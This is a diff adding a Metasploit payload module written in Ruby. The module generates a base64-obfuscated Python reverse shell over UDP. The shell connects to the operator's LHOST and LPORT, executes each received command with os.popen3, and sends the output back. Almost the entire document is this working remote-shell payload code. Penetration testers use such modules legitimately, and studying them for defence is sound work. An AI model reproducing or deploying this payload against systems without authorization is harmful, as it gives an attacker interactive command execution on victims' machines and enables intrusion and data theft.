|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/handler/reverse_udp' |
| 8 | +require 'msf/base/sessions/command_shell' |
| 9 | +require 'msf/base/sessions/command_shell_options' |
| 10 | + |
| 11 | +module Metasploit3 |
| 12 | + |
| 13 | + CachedSize = 397 |
| 14 | + |
| 15 | + include Msf::Payload::Single |
| 16 | + include Msf::Sessions::CommandShellOptions |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(merge_info(info, |
| 20 | + 'Name' => 'Command Shell, Reverse UDP (via python)', |
| 21 | + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', |
| 22 | + 'Author' => 'RageLtMan <rageltman[at]sempervictus>', |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Platform' => 'python', |
| 25 | + 'Arch' => ARCH_PYTHON, |
| 26 | + 'Handler' => Msf::Handler::ReverseUdp, |
| 27 | + 'Session' => Msf::Sessions::CommandShell, |
| 28 | + 'PayloadType' => 'python', |
| 29 | + 'Payload' => |
| 30 | + { |
| 31 | + 'Offsets' => { }, |
| 32 | + 'Payload' => '' |
| 33 | + } |
| 34 | + )) |
| 35 | + end |
| 36 | + |
| 37 | + # |
| 38 | + # Constructs the payload |
| 39 | + # |
| 40 | + def generate |
| 41 | + super + command_string |
| 42 | + end |
| 43 | + |
| 44 | + # |
| 45 | + # Returns the command string to use for execution |
| 46 | + # |
| 47 | + def command_string |
| 48 | + cmd = '' |
| 49 | + dead = Rex::Text.rand_text_alpha(2) |
| 50 | + # Set up the socket |
| 51 | + cmd << "import socket,os\n" |
| 52 | + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n" |
| 53 | + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" |
| 54 | + # The actual IO |
| 55 | + cmd << "#{dead}=False\n" |
| 56 | + cmd << "while not #{dead}:\n" |
| 57 | + cmd << "\tdata=so.recv(1024)\n" |
| 58 | + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" |
| 59 | + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" |
| 60 | + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" |
| 61 | + cmd << "\tso.send(stdout_value)\n" |
| 62 | + |
| 63 | + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop |
| 64 | + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" |
| 65 | + |
| 66 | + cmd |
| 67 | + end |
| 68 | + |
| 69 | +end |
| 70 | + |
0 commit comments